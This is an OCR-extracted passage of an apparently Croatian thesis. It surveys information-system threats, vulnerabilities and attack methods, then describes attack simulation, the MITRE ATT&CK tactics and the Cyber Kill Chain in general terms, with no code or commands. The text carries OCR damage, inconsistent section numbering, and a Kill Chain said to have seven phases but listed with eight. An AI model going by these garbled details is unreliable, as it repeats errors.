krajnjih uredaja. Kao automatizirane probe, racunalni crvi malicioznim akterima omogucuju

jednostavno prikupljanje informacija poput tocaka ulaska 1 slabosti ciljane infrastrukture.
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3.1.4. Prirodne prijetnje
Vremenske nepogode, poput oluja ili poplava, mogu ozbiljno narusiti rad informacijskih
sustava. lako nisu namjerne, ove prirodne pojave mogu uzrokovati o$te¢enja na opremi, gubitak
vaznih podataka ili prekid mreznih veza. Takvi problemi ¢esto vode do dodatnih troSkova i

gubitaka.

Iako prirodne nepogode nemaju namjeru narusiti integritet poslovnog okruzenja, njihova pojava
omogucuje zlonamjernim korisnicima njihovo iskoristavanje. NajceS¢e provodeni napadi u
takvim okolnostima uklju¢uju socijalni inZenjering i napade na pogodene infrastrukture

zlonamjernim kodom.

3.1.5. Nezgode
Nezgode kao izvor prijetnji informacijsko-komunikacijskim sustavima odnose se na
nenamjerne incidente koji mogu izazvati poremecaje u radu sustava ili gubitak podataka. Ovi
dogadaji, iako Cesto neizbjezni u slozenim tehnoloSkim okruzenjima, mogu imati ozbiljne

posljedice za sigurnost i funkcionalnost poslovnih procesa.

Najcesce vrste nezgoda ukljucuju ljudske pogreske, kao Sto su nenamjerno brisanje podataka
ili pogresna konfiguracija sustava, te tehnicke kvarove koji mogu dovesti do nedostupnosti
klju¢nih komponenti ili gubitka pristupa resursima. lako su ove nezgode nenamjerne, njihov
utjecaj na sigurnost sustava moze biti znacajan, posebno ako se ne prepoznaju i pravovremeno

ne uklone.

3.2. Ranjivosti

Ranjivost (engl. Vulnerability) odnosi se na specifi¢nu slabost u sustavu, procesu, dizajnu,
implementaciji ili upravljanju informacijskim sustavom koja moze biti iskoristena dovodeci do
naruSavanja integriteta, povjerljivosti ili dostupnosti podataka. Ranjivosti su inherentni dio
kompleksnih informacijskih sustava, a njihova prisutnost omogucuje eksploataciju koja cesto
rezultira gubitkom podataka, prekidom usluga ili kompromitacijom poslovne infrastrukture,
[14].

Ranjivosti se klasificiraju prema razli¢itim kriterijima, a najceS¢e se grupiraju prema
komponentama ili domenama na koje se odnose. Detaljna klasifikacija omogucuje precizniju

analizu i implementaciju politika za smanjenje rizika, [9].

Fizicke 1 infrastrukturne ranjivosti odnose se na fizicke aspekte zastite informacijskih sustava i

infrastrukture. Najcesce ranjivosti koje se povezuju s poslovnim okruzZenjima su: neadekvatna
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fizicka zaStita prostora, neadekvatna kontrola pristupa te nestabilnost energentske mreze.
IskoriStavanjem ovih ranjivosti zlonamjerni pojedinci izravno uti¢u na fizicke komponente
informacijsko-komunikacijskih ustava organizacije, te uzrokuju smetnje i totalni prekid

poslovnih procesa.

Hardverske ranjivosti odnose se na elektronicke komponente informacijskih sustava. Vecéinski
se ove ranjivosti odnose na same karakteristike pojedinih elektroni¢kih komponenti, a najéesce

se manifestiraju kroz nisku toleranciju na varijabilne okoliSne uvjete i zamor materijala.

Softverske ranjivosti predstavljaju slabosti unutar koda aplikacija ili operativnih sustava koje
mogu biti iskoriStene za neovlaSteni pristup, eskalaciju prava ili druge zlonamjerne radnje.
Najcesce ranjivosti ovog tipa ukljuuju: neadekvatna validacija ulaznih podataka, nedostatak
azurnih verzija programa te jednostavna i neadekvatna autentifikacija. IskoriStavanjem
navedenih ranjivosti napadadi s lako¢om dobivaju pristup osjetljivim podacima i

intelektualnom vlasni$tvu organizacije.

Komunikacijske ranjivosti odnose se na sami proces prijenosa podataka. Koristenjem
nezasti¢enih komunikacijskih kanala, organizacije ostavljaju svoje podatke dostupne svima te
ih napadaci lako presrecu i modificiraju. Takoder upotreba starijih ili ranjivih komunikacijskih
protokola onemogucuje inherentnu enkripciju, odnosno zastitu integriteta ¢ime se pospjesuje

napredak kibernetickog napada usmjerenog na infrastrukturu organizacije.

Ljudske ranjivosti u kontekstu sigurnosti informacijskih sustava organizacija predstavlja jednu
od najkriticnijih tocki ulaska. Ranjivosti u ljudskoj prirodi se najceS¢e eksploatiraju
manipulacijom, odnosno tehnikama socijalnog inzenjeringa. Takoder kako se tehnike
socijalnog inZenjeringa svakodnevno poboljSavaju, zaposlenici postaju sve ceS€a meta
kibernetickih napada, a velika stopa uspjesnosti tih napada govori da osim sofisticiranih napada

postoji veliki jaz izmedu obuke i svijesti o sigurnosti i organizacijskih politika.

3.3. Metode kibernetickih napada

Kiberneti¢ki napadi predstavljaju ozbiljan izazov za suvremene informacijske sustave, s
obzirom na sve vecu ovisnost o digitalnoj tehnologiji i Internetu. Razvoj sofisticiranih tehnika
omogucava napadacima pristup osjetljivim podacima, naruSavanje integriteta sustava I
ometanje poslovnih procesa. Metode kibernetickin napada su raznolike i neprestano se
razvijaju, ukljucujuéi Sirok spektar zlonamjernih aktivnosti usmjerenih na kompromitaciju

sigurnosti informacijskih sustava. Kiberneticki mogu biti motivirani financijskom dobiti,
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industrijskom $pijunazom, politickim ciljevima ili jednostavnom Zeljom za ometanjem rada
sustava. Kroz detaljnu analizu metoda kao $to su zlonamjerni programi, socijalni inzenjering,
napadi uskracivanja usluge, napadi koristenjem rjecnika i Man-in-the-Middle napadi, ovaj ¢e
rad istraziti temeljne principe, taktike i1 tehnike koje napadaci koriste. Razumijevanje ovih
metoda kljuno je za razvoj ucinkovitih strategija obrane i zaStite informacijskih sustava,

osiguravajuci kontinuitet poslovanja i zastitu podataka od neovlastenog pristupa.

3.1.1. Zlonamjerni programi
Zlonamjerni programi predstavljaju raCunalne alate dizajnirane u svrhu ostvarivanja
neovlastenog pristupa, kompromitacije i naruSavanja funkcionalnosti poslovnih sustava.
Programi malicioznog koda u poslovnom okruzenju postaju ucestala pojava, a njihova
nekontrolirana evolucija klasificira ih kao jednu od kriti¢nih stavki protiv koje se sigurnosni
sustavi 1 stru¢njaci suocavaju svakodnevno. Obuhvacaju viruse, trojanske konje, ucjenjivacke
zlonamjerne programe, crve i Spijunske programe, gdje svaka od kategorija cilja specifi¢ne

segmente sustava kako bi ostvarila svoje zlonamjerne ciljeve.

Zlonamjerni programi distribuiraju se putem razli¢itih vektora napada, ukljucujuci zarazene
privitke elektroni¢ke poste, zlonamjerne web stranice, nesigurna preuzimanja te iskoristavanje
ranjivosti unutar aplikacija i operativnih sustava. Uspjesnim inficiranjem krajnjih uredaja
programi malicioznog koda pokrec¢u aktivnosti poput eksfiltracije podataka, enkripcije datoteka

radi iznude, pracenje korisnicke aktivnosti te uspostave straznjih vrata (engl. Backdoor), [27].

3.1.1.1.  Trojanski konj
Trojanski konj predstavlja zlonamjerni program Kkoji je naizgled bezopasan i legitiman s ciljem
prevare krajnjih korisnika u njegovo preuzimanje i egzekuciju unutar poslovnog okruzenja.
Preuzimanjem i pokretanjem takvog programa malicioznog koda, korisnik nesvjesno
kompromitira infrastrukturu u kojoj se nalazi, te zlonamjerni program izvrSava svoju svrhu,
odnosno uzrokuje Stetu za koju je kreiran. Iako postoji veliki broj inaica ove vrste
zlonamjernog programa, vec¢ina ih se moze definirati kao maliciozni kod ¢iji je cilj preuzimanje

kontrole nad sustavom, krada podataka te Spijunaza krajnjeg korisnika, tj. kompromitirane

infrastrukture, [28].

Najcesce inacice trojanskih konja u poslovnom okruZzenju su backdoor, exploit, rootkit,
downloader i dropper. Backdoor trojan stvara straznja vrata na inficiranom krajnjem uredaju s
ciljem omogucavanja udaljenog pristupa i kontrole sustava malicioznim akterima. Exploit se

definiraju kao aplikacije koje sadrze programski kod koji iskoriStava ranjivost unutar servisa i
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programa koji se pokre¢u na kompromitiranom sustavu. Rootkit je inacica trojanskog konja
koja se ve¢inom dizajnira s ciljem skrivanja odredenih entiteta i aktivnosti u zarazenom sustavu
u svrhu produzivanja vijeka rada zlo¢udnih programa. Downloader i dropper trojanci koriste
se za preuzimanje i instalaciju dodatnih programa malicioznog koda s ciljem daljnje
kompromitacije 1 sprjeCavanja otkrivanja malicioznih aktivnosti na inficiranom krajnjem

uredaju, [29].

3.1.1.2.  Aplikacije nezeljenog koda
Potencijalno nezeljeni programi (engl. Potentially unwanted programs, PUP) su dio
programskog paketa koji izravno nije zlonamjeran, ali moZze prouzrociti nezeljene u¢inke na
informacijske sustave. Njihova distribucija se u veéini sluc¢ajeva odvija koriStenjem tehnika
upakiravanja, gdje se PUP isprepli¢e s drugim legitimnim aplikacijama koje zaposlenik koristi.
NezZeljeni programi identificiraju se kao napredne alatne trake, dodaci za preglednike, adware

I kao programi za pracenje, [30].

3.1.1.3.  Ucjenjivacki programi
Ucjenjivacki program (engl. Ransomware) predstavlja vrstu zlonamjernog programa cija je
svrha zakljuCavanje i1 kriptiranje podataka informacijskih sustava s ciljem iznudivanja
financijskih sredstava od pogodene organizacije. Ova vrsta programa malicioznog koda u
sinergiji s tehnikama i napadima socijalnog inzenjeringa predstavlja glavnu prijetnju poslovnim
i procesnim sustavima organizacije. lako je cilj napadaca ostvariti financijsku dobit, ovisno o
koristenoj vrsti ucjenjivackog programa napadaci mogu uzrokovati ispade poslovnih procesa i

onemogucavanje pristupa kriti¢noj infrastrukturi , [31].

Kao i kod vecine ostalih malicioznih programa, ransomware kao ulaznu to¢ku u sustav
iskoriStava interakciju s neopreznim korisnicima sustava, na na¢in da svoj maliciozni kod
ugrade u zaraZene privitke i1 datoteke elektroni¢ke poSte, odnosno kompromitiranih javno
dostupnih Internet servisa. Jednom kada je program ostvario inicijalni pristup infrastrukturi on

zapocinje svoje izvr§avanje, te ovisno o njegovoj vrsti vrsi enkripciju datoteka i sustava, [32].

Ucjenjivacki programi najcesce koristeni u napadima na pravne osobe dijele se na: ransomware
programe koji Sifriraju podatke (engl. Crypto ransomware) ali ne onemogucuju pristup sustavu,
ransomware programe koji zakljuCavaju sustav (engl. Locker ransomware) te doxware
ucjenjivacki program kojim napadaéi iznudu provode prijetnjom objave klasificiranih

informacija, [33].
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3.114. Crvi
Racunalni crvi predstavljaju vrstu zlonamjernih programa koja se samostalno replicira unutar
informacijsko-komunikacijskog sustava te iskoriStava ranjivosti u mreznim protokolima i
aplikacijama kako bi se propagirali mrezom. Kako bi izvrs$ili svoju malicioznu zadacu, crvi
koriste napredne tehnike automatizirane replikacije gdje pomocu pronadenih ranjivosti i
slabosti u mrezi targetiraju nove krajnje uredaje. Uspjesnom infiltracijom na vise mreznih
lokacija racunalni crvi zapo€inju s drugom fazom svog Zivotnog ciklusa, odnosno izvrSavaju
definirane maliciozne zadatke, poput ubacivanja novih malicioznih programa, uspostavljanja

straznjih vrata i eksfiltracije podataka, [34].

Gledano iz perspektive sigurnosti poslovnih organizacija, najées¢e inacice racunalnih crva koje
pogadaju poslovne sustave su e-mail crvi, Internet crvi i botnet crvi. E-mail crvi funkcioniraju
na nacin da se prilikom otvaranja zarazenog privitka ili elektroni¢ke poruke, crvu omogucuje
replikacija na nafin da zarazeni privitak posalje svim kontaktima inicijalno zarezenog
korisni¢kog pretinca. Internet crvi u odnosu na e-mail crve traze ranjivosti u mreznim uslugama
i protokolima s ciljem propagacije mrezom bez potrebe za interakcijom s korisnicima sustava.
Najcesce rade na na¢in da provode skeniranja IP adresa te identifikacijom ranjivih adresa,
automatizmom pokusavaju kompromitirati sustave. Botnet crvi sluze kao jedan od inicijalnih
vektora napada sofisticiranih napadaca. KoriStenjem ove vrste raunalnih crva napadaci
pokusavaju stvoriti zombi mrezu zaraZenih uredaja, koje kontroliraju udaljenim pristupom te ih

koriste u budu¢im napadima na kriti¢ne infrastrukture targetiranih organizacija, [35].

3.1.2. Socijalni inZenjering
Socijalni inZenjering definira se kao napad koji koristi ljudsku psihologiju u svrhu stvaranja
utjecaja nad ciljanim korisnikom ili skupinom korisnika informacijsko-komunikacijskog
sustava. Cilj svakog napada koristenjem tehnika socijalnog inZenjeringa je otkrivanje
povjerljivih informacija 1 provodenje zlocudnih aktivnosti bez izravnog pristupa poslovnom
sustavu. Kako bi uspjesno proveli napade socijalnim inzenjeringom, napadaci svoje aktivnosti
provode u nekoliko faza, od prikupljanja informacija i kreiranja scenarija do provodenja napada

I kompromitiranja targetirane infrastrukture, [36].

Provodenje kibernetickih napada koriStenjem tehnika socijalnog inZenjeringa zapocinje
prikupljanjem informacija iz javno dostupnih izvora (engl. Open Source Intellignece, OSINT).
Upotreba OSINT tehnika napada¢ima omogucuje prikupljanje podataka o ciljevima, poput
pojedinaca i organizacija te kreiranja svojih scenarija kojima je cilj stvaranje iluzije
legitimnosti. Uspjesnom identifikacijom ciljeva i kreiranjem zlo¢udnog sadrzaja, napadaci

17



zapocinju s fazom napada kojom napravljeni sadrzaj distribuiraju ozna¢enim kontaktima. Nacin
distribucije malicioznog sadrZaja naj¢es¢e se provodi tehnikama: phishing, spear phishing,

smishing, vishing, pretexting i baiting, [37].

Phishing je jedna od najrasirenijih tehnika socijalnog inzenjeringa koja ukljucuje slanje laznih
elektroniCkih poruka Sirokom spektru mogucih zrtvi. Cilj ovih napada je navodenje korisnika
na izvrSavanje malicioznih radnji i otkrivanje osjetljivih podataka koji u poslovnom okruzenju

Cesto ukljucuju zaporke i brojeve kreditnih kartica, [36].

Spear phishing predstavlja sofisticiraniji oblik phishing napada koji je usmjeren na specificne
pojedince ili organizacije. Ova vrsta napada koristi personalizirane informacije pomoc¢u kojih
napadaci kreiraju naizgled legitimne elektronicke poruke. Ovi napadi provode se s ciljem
kompromitacije organizacije, na nacin da se iskoristavaju ljudske ranjivosti kod zaposlenika

visokog menadzmenta ili visoko privilegiranih administratora informacijskih sustava, [37].

Smishing je inacica phishing napada koja se provodi putem SMS poruka. Ova tehnika napada
ukljucuje slanje tekstualnih poruka koje se ¢ine autenti¢nima, a cilj im je navesti primatelje da
otvore poveznice koje vode na lazne web stranice ili da nazovu brojeve telefona koji su

povezani s napada¢ima.

Vishing tehnika odnosi se na koriStenje telefonskih poziva za provodenje socijalnog
inZenjeringa. U ovim napadima napadai se predstavljaju laznim identitetima s ciljem
uvjeravanja zrtve da otkrije povjerljive informacije ili provede aktivnosti kojima napadaci

ostvaruju svoje ciljeve.

Baiting je tehnika socijalnog inzenjeringa koja ukljucuje koristenje mamaca u svrhu privlacenja
osoba na interakciju sa zlonamjernim sadrZzajem. Mamci mogu biti fizicki u obliku zaraZenih
vanjskih medija za pohranu podataka ili digitalni poput laznih oglasa koji nude besplatna
preuzimanja datoteka. Cilj baitinga je navesti korisnike na preuzimanje zlonamjernog sadrzaja
pomocu kojeg napadaci ostvaruju inicijalni pristup poslovnom sustavu te provode daljnje

korake svojih napada.

3.1.3. Napadi uskraéivanja usluge
Napadi uskracivanja usluge predstavljaju znacajni sigurnosni izazov u poslovnim okruzenjima.
Ovi napadi za cilj imaju onemoguciti pristup legitimnim korisnicima odredenim uslugama ili
mreznim resursima preoptereivanjem mrezne infrastrukture. Napadi uskracivanja usluge

koriste se kao strateski alati za ometanje rada informacijskih sustava, aplikacija ili usluga, [38].

18



Napadi uskrac¢ivanja usluge dijele se na napade koji su generirani iz jednog izvora (Denial of
Service, DoS) te na napade koji su generirani iz viSe izvora (engl. Distrubuted Denial of Service,
DDoS). Funkcionalnosti ovih napada najces¢e se manifestiraju kroz volumetrijske,
protokolarne i aplikacijske napade, dok se mehanizmi rada temelje na preplavljivanju prometa,

iscrpljivanju resursa i eksploataciji ranjivosti, [39].

3.1.4. Napadi koriStenjem rjecnika
Napadi koriStenjem rje¢nika (engl. Dictionary Attacks) predstavljaju metodu kibernetickih
napada koji za cilj imaju ostvarivanje pristupa u ciljani sustav koriStenjem sistemati¢nog
testiranja rije¢i i fraza koje se nalaze na definiranoj listi zaporki. Lista zaporki ovisno o
geografskoj lokaciji i ciljanoj infrastrukturi sadrzi Cesto koriste kao lozinke i frazeme tog
podru¢ja. Sami napadi i njihova efikasnost ovise o sigurnosnim politikama organizacije,
odnosno o podeSenim mehanizmima za suzbijanje ovakve vrste napada, ukljucujucéi
primjenjivanje kompleksnih zaporki i zakljuCavanje sustava nakon odredenog broja

neuspjesnih prijava. [40].

3.1.5. Napadi ¢ovjeka u sredini
Napadi ¢ovjeka u sredini (engl. Man-in-the-Middle, MitM) sofisticirana su vrsta kibernetickih
napada u kojima napadaci neovlasteno prisluskuju, izmjenjuju ili manipuliraju informacijama
izmedu dvije strane koje vjeruju da izravno komuniciraju jedna s drugom. MitM napadi
presrecu informacije u raznim komunikacijskim kanalima, kao §to su mrezne i telefonske
komunikacije, elektronicka posta i fizicki uredaji. Napadaci koriste razli¢ite tehnike za
postavljanje svojih tehnologija kao posrednika izmedu komunikacijskih strana, ¢ime ostvaruju

mogucnost neprimjetnog pristupa osjetljivim informacijama, [14].

3.1.6. Zero day ranjivosti
Zero-day ranjivosti odnose se na proizvodacu nepoznate sigurnosne propuste u programskim
rjeSenjima. Takvi sigurnosni propusti omogucuju malicioznim akterima da ih iskoriste i
provedu zero-day napade u vremenskom periodu dok jo§ vecina korisnika informacijsko-
komunikacijskog sustava nije svjesna postojanja samog sigurnosnog propusta. IskoriStavanjem
ovih ranjivosti napadaci ostvaruju infiltraciju u inace tesko dostupne poslovne infrastrukture,

te samim time stvaraju uporista za provodenje buduc¢ih napada, [41].
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4. Simulacija kiberneti¢kih napada

U suvremenom digitalnom okruzenju, kiberneticka sigurnost postala je klju¢na komponenta u
zastiti poslovnih informacijsko-komunikacijskih sustava. S obzirom na sve veéi broj prijetnji
koje se pojavljuju organizacije su prisiljene implementirati napredne metode zastite kako bi
povecale sigurnost svojih digitalnih resursa. Jedna od najvaznijih metoda u ovom kontekstu je
simulacija kiberneti¢kih napada, koja omogucuje organizacijama da procijene otpornost svojih

sustava protiv potencijalnih ugroza.

Simulacija kiberneti¢kih napada ukljucuje koriStenje specijaliziranih tehnika i alata pomocu
kojih se identificiraju ranjivosti u informacijskim sustavima, $to omogucava koriStenje
realisti¢nih scenarija koji sadrze metode i tehnike koriStene u stvarnim kiberneti¢kim napadima.
Simulacijom napada organizacija se fokusira na procjenu sigurnosnih mjera iz perspektive

napadaca ¢ime se omogucuje identificiranje slabih to¢aka koje mogu biti iskoristene, [42].

Vaznost simulacije kibernetickih napada ogleda se u sposobnosti organizacije da unaprijed
identificira i adresira sigurnosne propuste prije nego Sto budu iskoriSteni u stvarnim napadima.
Provodenjem simulacije omogucuje se poboljSanje sigurnosnih kontrola na temelju stvarnih
prijetnji i rizika, umjesto provodenja reaktivnih aktivnosti nakon $to se sigurnosni incident
dogodi. Simulacije napada takoder igraju klju¢nu ulogu u razvoju i testiranju strategija
odgovora na sigurnosne incidente, jer kroz simulaciju stvarnih prijetnji organizacije mogu
testirati svoje protokole 1 procedure odgovora na incidente, Sto omogucuje identifikaciju
slijepih tocaka, njihovo popravljanje te pripremanje sigurnosnih timova za stvarne dogadaje,

[43], [44].

Takoder simulacije kiberneti¢kih napada omogucuju organizacijama da zadovolje sve stroze
regulatorne zahtjeve za kiberneticku sigurnost. Identificiranje i ispravljanje ranjivosti kroz
simulacije pomaze organizacijama da osiguraju uskladenost s vazeé¢im propisima i standardima,
Sto je kljucno za izbjegavanje pravnih sankcija i drugih regulatornih posljedica. Vazno je
naglasiti da uspjeSne simulacije kibernetickih napada zahtijevaju suradnju razli¢itih odjela
unutar organizacije, ukljucujuci odjele sistemskog inzenjerstva, menadZzmenta, pravne timove i

odjele za upravljanje rizicima.
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4.1. Radni okviri modeliranja kibernetickih ugroza

Radni okviri za modeliranje kibernetickih prijetnji predstavljaju strukturirani skup smjernica,
metoda i alata koji pomazu u identificiranju, analizi i upravljanju ugrozama unutar poslovnih
informacijskih sustava. Organizacijama omogucuju sistemati¢an pristup kod prepoznavanja
potencijalnih prijetnji i ranjivosti te stvaranju strategija obrane i odgovora na sigurnosne
incidente. Osnovna zadaca radnih okvira je pruziti standardizirani na¢ina razumijevanja i
interpretacije razli¢itih segmenata kiberneticke sigurnosti, $to je klju¢no za koordiniranu i
ucinkovitu reakciju na prijetnje. Najkoristeniji radni okviri u poslovnim okruzenjima su MITRE
ATT&CK i Cyber Kill Chain, koji nude strukturirane metode za analizu taktika, tehnika i
procedura koje napadaci koriste. Navedeni okviri pomazu struénjacima za sigurnost u
razumijevanju ponasanja napadaca $to omogucuje provodenje proaktivnih mjera zastite te brzi

odgovor na kiberneticke napade, [45], [46] .

Pomocu radnih okvira, organizacije sustavno analiziraju i dokumentiraju sigurnosne incidente
s ciljem donoSenja odluka o resursima za kiberneticku sigurnost, raspodjeli prioriteta i razvoju
novih sigurnosnih politika. Kroz primjenu MITRE ATT&CK okvira, sigurnosni stru¢njaci
organizacije analiziraju prethodne napade, identificiraju koriStene tehnike i usporeduju ih s
postoje¢im sigurnosnim mjerama kako bi identificirali slijepe tocke u svojoj sigurnosnoj
infrastrukturi. S druge strane, Cyber Kill Chain omogucuje organizacijama razumijevanje svih
faza napada te da definiraju tocke u kojima se napad moze prekinuti u svrhu ucinkovitijeg

odgovora i suzbijanja Sirenja napadaca, [47].

41.1. MITRE ATT&CK
MITRE ATT&CK je sveobuhvatan javno dostupan okvir osmisljen za modeliranje ponasanja
napadaca kroz strukturirani skup taktika, tehnika i procedura koje koriste napadaci tijekom
zivotnog ciklusa kibernetickog napada. Osnovni cilj ovog okvira je pruZanje standardiziranog
jezika 1 strukture koja omogucuje dijeljenje informacija o ugrozama i razvoju obrambenih
mehanizama unutar poslovnih okruZenja, odnosno njihovih sigurnosnih timova. MITRE
ATT&CK dizajniran je tako da pokriva cijeli spektar napada, od inicijalnog pristupa do

eksfiltracije podataka, te time omogucava detaljnu analizu i mapiranje aktivnosti napadaca.

Struktura MITRE ATT&CK okvira bazira se na tri glavne komponente: taktike, tehnike i pod-
tehnike. Ove komponente su temelj za razumijevanje ponasanja napadaca i omogucavanje
analiti¢arima da mapiraju napade i identificiraju kriti¢ne to¢ke za obranu. Tehnike predstavljaju

specificne metode kojima napadaci ostvaruju svoje ciljeve, dok pod-tehnike opisuju njihove
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varijacije koje precizno definiraju aktivnosti napadaca. Popis taktika i njihovog osnovnog opisa

prikazan je idu¢om tablicom.

Tablica 1: Prikaz taktika MITRE ATT&CK okvira, [48]

Naziv taktike Opis

Prikupljanje informacija o potencijalnim
Izvidanje (eng. Reconnaissance) plan) jaop )

metama
Razvoj resursa (eng. Resource Prikupljanje potrebnih resursai alata za
Development) provodenje napada

Uspostava pocetne tocke

Inicijalni pristup (eng. Initial access) kompromitacije
itacij

IzvrSenje (eng. Execution) Pokretanje zlonamjernih programa

. . Osiguravanja kontinuiranog pristupa
Perzistentnost (eng. Persistence)

sustavu
Eskalacija privilegija (eng. Privilege Stjecanje visih razina pristupa unutar
Escalation) sustava
Izbjegavanje obrane (eng. Defense Izbjegavanje otkrivanja od strane
evasion) sigurnosnih sustava
Prikupljanje vjerodajnica (eng. Preuzimanje korisnickih vjerodajnica za
Credential Access) pristup sustavima
Otkrivanje (eng. Discovery) Dubinsko prikupljanje informacija o
sustavu

Bocno kretanje (eng. Lateral Movement) |Kretanje kroz sustave s istim pravima

Prikupljanje informacija i podataka od
Prikupljanje (eng. Collection) plan) jatp

interesa
Zapovijedanje i upravljanje (eng. Odrzavanje komunikacije s
Command and Control) kompromitiranim sustavima
Prijenos ukradenih podataka izvan
Eksfiltracija (eng. Exfiltration) J . P
mreze
L Manipulacija, ometanje, unistavanje
Utjecaj (eng. Impact)
sustava

MITRE ATT&CK okvir koristi se u razli¢itim scenarijima kako bi pomogao organizacijama u

borbi protiv kibernetickih prijetnji. Neki od klju¢nih nacina primjene ukljucuju, [5]:

Mapiranje napada: Analiti¢ari informacijske sigurnosti koriste okvir za mapiranje
napada kako bi identificirali taktike i1 tehnike koriStene u kibernetiCkom napadu.
Mapiranje omogucava bolje razumijevanje ponasanja napadaca i1 prepoznavanje
obrazaca koji se koriste za detekciju sli¢nih napada u buducnosti.

Razvoj detekcijskih pravila: Na temelju identificiranih tehnika i taktika, organizacije
mogu razviti specificna pravila za detekciju koja su usmjerena na prepoznavanje
specificnih aktivnosti napadaca.

Analiza prijetnji: ATT&CK omogucava sigurnosnim stru¢njacima da kategoriziraju |

analiziraju prijetnje prema poznatim taktikama, tehnikama i procedurama napadaca. Na
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taj nacin procjenjuju rizik i integriraju sigurnosne mjere koje su usmjerene na specifi¢ne

prijetnje.

MITRE ATT&CK okvir prosiren je na razliite specijalizirane verzije prilagodene specifi¢nim
podruc¢jima rada s ciljem obuhvacanja raznolikih ugroza s kojima se organizacije suocavaju.
Okvir pruza dubinsko razumijevanje ugroza koje ciljaju tradicionalne informacijske sustave,

mobilne uredaje i industrijske kontrolne sustave (engl. Industrial Control Systems, ICS).

MITRE ATT&CK for Mobile predstavlja specijaliziranu verziju okvira koja je usmjerena na
prijetnje koje ciljaju mobilne uredaje, koji postaju sve c¢es¢a meta napada zbog sveprisutnosti u
modernim poslovnim okruZenjima, te zbog ¢injenice da ¢esto sadrze osjetljive podatke. Ova
inacica okvira pokriva razlicite taktike i tehnike koje napadaci koriste U svrhu iskoriStavanja
mobilnih uredaja, kao §to su zlonamjerne aplikacije, iskoriStavanje ranjivosti operacijskog
sustava i uporaba zlonamjernih profila. Cilj MITRE ATT&CK for Mobile je pomaganje
organizacijama i pojedincima da adekvatno zastite mobilne uredaje kroz bolje razumijevanje

prijetnji specifiénih za mobilne platforme.

MITRE ATT&CK for ICS usmjeren je na prijetnje ICS sustavima koji upravljaju kriticnom
infrastrukturom kao $to su energetski sektor, proizvodnja, transport i druge industrije. ICS
sustavi ¢esto SU povezani s fiziCkim procesima te su posebno osjetljivi na napade koji mogu
izazvati fizicku Stetu ili prekid u radu. Ovaj okvir pokriva specificne taktike 1 tehnike koje
napadaci koriste za kompromitiranje ICS sustava, kao S§to su manipulacija programibilnim
logi¢kim kontrolerima (engl. Programmable Logic Controllers, PLC), iskoriStavanje ICS
specifi¢nih protokola i sabotiranje fizickih kontrola. Cilj MITRE ATT&CK for ICS je pomoci
operaterima kriti¢ne infrastrukture u identifikaciji i mitigaciji prijetnji koje ciljaju njihove

specificne sustave.

MITRE ATT&CK for Enterprise je najpoznatija i najkoriStenija verzija MITRE ATT&CK
radnog okvira, posebno je prilagodena informacijskim sustavima koje koriste korporacije,
vladine agencije 1 druge velike organizacije. Ovaj okvir pokriva Siroki spektar napadackih
scenarija, obuhvacajuci specificne tehnike koje ciljaju operativne sustave Windows, Linux i
macOS kao i razli¢ite raCunalne programe i mrezne protokole. Njegova glavna svrha je
asistencija kod prepoznavanja, detektiranja i odgovora na prijetnje koje ciljaju informacijsko-

komunikacijsku infrastrukturu.

Jedna od klju¢nih prednosti MITRE ATT&CK for Enterprise okvira je njegova sposobnost

poboljSanja vidljivosti unutar mreza i sustava. Okvir omogucava postavljanje detekcijskih
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toCaka na klju¢ne mrezne lokacije koje napadac¢ima Cesto sluze za provodenje pocetnih faza
napada kao §to su boc¢no kretanje ili prikupljanje vjerodajnica. Postavljanjem ovih tocaka
organizacije znacajno poboljSavaju svoju sposobnost ranog otkrivanja prijetnji i brze reakcije

u svrhu eradikacije napadaca i suzbijanja daljnje kompromitacije sustava.

Dodatno, ovaj okvir omogucava integraciju s razli¢itim TI izvorima o prijetnjama s ciljem
obogacivanja organizacijskih sigurnosnih sustava relevantnim informacijama o napadacima.
KoriStenjem obavjestajnih podataka, sigurnosni timovi prepoznaju maliciozne kampanje,
identificiraju taktike i1 tehnike specificne za odredene prijetnje, te prilagodavaju svoje
sigurnosne sustave za kvalitetniju zaStitu poslovnog okruzenja. Na taj nacin ATT&CK for
Enterprise poboljSava operativhu sigurnost i omogucava proaktivno planiranje i prilagodbu

sigurnosnih strategija prema aktivnim ugrozama.

4.1.2. Cyber Kill Chain okvir
Cyber Kill Chain radni okvir razvila je organizacija Lockheed Martin te je predstavljen kao
metodologija za razumijevanje kibernetickih napada i pobolj$anje sigurnosnih strategija. Okvir
pruza strukturirani pristup analizi napada, ras¢lanjujuci napad na sedam jasno definiranih faza.
Svaka faza predstavlja specifican korak u Zivotnom ciklusu napada, od pocetnog istrazivanja
do kona¢nog postizanja cilja. Svrha Cyber Kill Chain okvira je omogudéiti organizacijama
prepoznavanje i razumijevanje faza napada s ciljem efikasnije identifikacije i onemogucavanja

napada u ranim fazama.

Cyber Kill Chain sluzi kao vodi¢ za integraciju proaktivnih sigurnosnih mjera i politika.
Omogucuje sigurnosnim timovima da razviju strategije obrane koje ciljaju specificne faze
napada radi lakSeg otkrivanja napadaca 1 sprjeCavanja njihovog napredovanja kroz sustav.
Uporaba ovog okvira organizacijama pomaze da bolje razumiju ponaSanje napadaca te da

optimiziraju svoje sigurnosne sustave za zastitu kljucnih resursa.

Kako je spomenuto, okvir se sastoji od sedam faza kibernetickog napada: izvidanje,
naoruzavanje, dostava, izvrSenje, eksploatacija, instalacija, zapovijedanje i upravljanje te
djelovanje prema ciljevima. Izvidanje je faza kibernetickog napada kojom se prikupljaju
informacije o moguc¢im ciljevima. Faza naoruzavanja opisuje kreiranje zlonamjernih programa
koji iskoriStavaju ranjivosti targetiranih sustava. Dostava predstavlja segment napada gdje se
kreirana maliciozna datoteka ili kod distribuira kritiénim toCkama organizacije. IzvrSavanje
zlonamjernog koda je idu¢i korak u Zivotnom ciklusu napada, nakon kojeg slijedi faza

eksploatacije gdje se pomocu dostavljenih zlo¢udnih entiteta iskoriStavaju ranjivosti
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informacijsko-komunikacijskog sustava. Fazom instalacije opisuju se dodatne aktivnosti
ubacivanja novih programa malicioznog koda s ciljem ostvarivanja postojanosti u sustavu.
Zapovijedanje i1 kontrola segment je napada kod kojeg se uspostavlja komunikacija
kompromitiranog sustava i samih napadaca u svrhu njegove kontrole i izvrSavanja definiranih
malicioznih aktivnosti, te kao zadnja faza zivotnog ciklusa prema ovome okviru istice se faza
djelovanja prema ciljevima, odnosno provodenje aktivnosti u svrhu ostvarivanja zadanih ciljeva

u kompromitiranoj infrastrukturi, [45].

Organizacije koriste ovaj okvir za evaluaciju svojih trenutnih sigurnosnih mjera i identifikaciju
